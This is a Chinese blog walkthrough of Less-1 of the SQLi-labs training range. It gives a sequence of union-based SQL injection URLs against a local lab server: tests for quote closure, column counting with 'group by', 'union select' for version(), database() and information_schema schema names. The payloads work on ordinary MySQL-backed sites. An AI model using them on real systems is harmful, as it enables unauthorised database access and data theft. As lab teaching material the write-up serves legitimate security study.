当前位置:网站首页>通关SQLilab靶场——Less-1思路步骤
通关SQLilab靶场——Less-1思路步骤
2022-08-09 11:08:00 【AnQTroops】
Less-1 GET—Union字符型注入
认真看完会收获不少~
- 找交互点
http://192.168.182.130:8080/Less-1/?id=1
http://192.168.182.130:8080/Less-1/?id=2
前后两个页面数据不同,找到交互点
- 判断是否存在注入(用户输入的代码给数据库执行了)
判断注入点时,如果网站的闭合是单引号’ ',那么输入双引号 " 是无法报错,因为双引号被当作字符给闭合在里面了。如果时双引号" "闭合,那么输入单引号’也是不会发生改变的,因为单引号也被当作字符给闭合在里面了。如果是数字型,不管输入什么都会发生改变。
这里直接输入' "
来判断是否存在注入,因为不管是字符型还是数字型只要数据库执行了都会发生改变。
通过SQL语句来理解:
数字型:SELECT * FROM users WHERE id=1' "
单引号字符型:SELECT * FROM users WHERE id=' 1' " '
双引号字符型:SELECT * FROM users WHERE id=" 1' " "
所以我们这里直接输入' "
来判断是否存在注入(只要页面发生改变就说明存在注入了)
http://192.168.182.130:8080/Less-1/?id=1"'
页面发生改变
成功验证这里是存在注入
- 判断注入类型
测试是否为数字型
http://192.168.182.130:8080/Less-1/?id=1 and 1=1
页面正常
http://192.168.182.130:8080/Less-1/?id=1 and 1=2
页面正常
说明注入点为 字符型 注入
- 判断闭合方式
通过SQL语句来理解如何判断闭合方式:
单引号字符型:SELECT * FROM users WHERE id=' 1 '
如果是单引号闭合,那么输入单引号,页面就是发生改变。
id=' 1 '
,输入单引号id=' 1' '
,输入的单引号就会和前面的闭合,就会造成语句错误,页面发生变化
id=' 1 '
,输入双引号id=' 1" '
,输入的双引号就会被当作字符来执行,页面正常
双引号字符型:SELECT * FROM users WHERE id=" 1 "
id=" 1 "
,输入双引号id=" 1" "
,输入的双引号就会和前面的闭合,就会造成语句错误,页面发生变化
id=" 1 "
,输入单引号id=" 1' "
,输入的单引号引号就会被当作字符来执行,页面正常
回到主题,这里我们先判断是否为单引号闭合
http://192.168.182.130:8080/Less-1/?id=1'
页面发生改变
http://192.168.182.130:8080/Less-1/?id=1' and 1=1 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 -- qwe
页面发生变化
这里我们就找到闭合方式了
- 查询字段数
查询字段数有两种方法:
order by
group by
通过group by 查询字段数的方法,目前的网站还不是很多过滤和拦截。
这里我们就通过group by来查询子段数
http://192.168.182.130:8080/Less-1/?id=1' group by 1 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' group by 2 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' group by 3 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' group by 4 -- qwe
页面发生变化
得到字段数为 3
- 找回显位
通过union联合查询来找回显位,前面我们找字段数就是为了使用union联合查询。
使用union联合查询的前提条件是前后两条查询语句的字段数必须相同
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,3-- qwe
通过页面回显,得到回显位在2,3
- 查询数据库版本
因为Mysql数据库5.0以上版本存在一个information_schema
数据库;里面存放着关于整个Mysql数据库的 库——>表——>字段 的对应关系的数据。
因为这里是我个人本地搭建的,所以每个人的数据库版本号有所不同
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,version()-- qwe
得到数据库版本号为:5.5.53
可以通过information_schema
数据库来获取数据
- 查询数据库名
查询当前数据库:
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,database()-- qwe
查询所有数据库:
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata limit 0,1-- qwe
查询到当前数据库是:security
- 结论
后面的查找表名,字段名都一样,主要学的是整体的注入思路。纯手打,XDM多多点赞哈~
边栏推荐
- b站up主:空狐公子 --矩阵求导(分母布局)课程笔记
- MySQL查询性能优化七种武器之索引潜水
- tensorflow和numpy对应的版本,报FutureWarning: Passing (type, 1) or ‘1type‘ as a synonym of type is deprecate
- Julia资料收集
- STM32启动方式及BootLoader
- Quartz的理解
- 性能测试(05)-表达式和业务关联-json关联
- Netscope: Online visualization tool for neural network structures
- focusablejs
- CentOS6.5 32bit安装Oracle、ArcSde、Apache等配置说明
猜你喜欢
随机推荐
程序员的专属浪漫——用3D Engine 5分钟实现烟花绽放效果
STM32启动方式及BootLoader
Numpy常用操作博客合集
GOPROXY 中国代理
golang 标准库json Marshal、Unmarshal坑
C语言中信号函数(signal)的使用
golang 三种指针类型具体类型的指针、unsafe.Pointer、uintptr作用
无重复字符的最长子串
FreeRTOS列表和列表项源码分析
Quartz的理解
【C language】动态数组的创建和使用
Cesium加载三维模型数据
1007 Maximum Subsequence Sum (25分)
Tensorflow realize parameter adjustment of linear equations
双向链表的各种操作
1003 Emergency (25分)
使用gdb调试多进程程序、同时调试父进程和子进程
综述文章的写法
二叉树 前序是根在前(根左右)中序(左根右)
Product Quantization (PQ)